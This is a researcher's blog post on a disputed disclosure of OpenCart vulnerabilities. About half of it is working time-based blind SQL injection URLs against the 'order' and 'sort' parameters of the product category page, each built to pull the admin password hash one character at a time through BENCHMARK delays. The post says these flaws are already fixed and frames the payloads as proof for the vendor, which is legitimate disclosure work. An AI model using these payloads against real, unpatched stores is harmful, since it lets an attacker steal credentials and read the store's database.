I was recently asked to take down the OpenCart advisory as it was stated the information provided was not verified. I’m of the opinion that just because I was not able to exploit a portion of the advisory that it should still be published. I can not be that ignorant to think that just because I can’t somebody else can’t.
Despite that belief I published only the verifiable details and provided the details on the other “potential” attack vectors to the vendor, who took that to believe that I had not verified any of it. I politely provided evidence that the original advisory was verifiable exploitable and I also provided proof that the other, non-verified piece I provided to them was also exploitable.
Since these vulnerabilities have been fixed a while ago here are a couple examples of working exploits. By measuring the time it takes for a query to execute we can guess letters of the password hash until we know the full value. This can be used to pull out any data from the database that has been granted to the OpenCart application.
Order parameter example:
This statement takes time to execute
http://example.com/index.php?route=product/category&path=18&sort=p.price&order=ASC,(SELECT
IF(SUBSTRING(password,1,1)=CHAR(97),BENCHMARK(100000,SHA1(1)),0)
password FROM user WHERE username=CHAR(97,100,109,105,110))
This statement returns really quickly as the first character is obviously not CHAR(00)
http://example.com/index.php?route=product/category&path=18&sort=p.price&order=ASC,(SELECT
IF(SUBSTRING(password,1,1)=CHAR(00),BENCHMARK(100000,SHA1(1)),0)
password FROM user WHERE username=CHAR(97,100,109,105,110))
Sort parameter example:
The same attack using a different injection point not previously released.
sort parameter blind injection
http://example.com/index.php?route=product/category&path=18&sort=p.price&sort=(SELECT
%20IF(SUBSTRING(password,1,1)=CHAR(97),BENCHMARK(1000000,SHA1(1)),0)%20password
%20FROM%20user%20WHERE%20username=CHAR(97,100,109,105,110))--
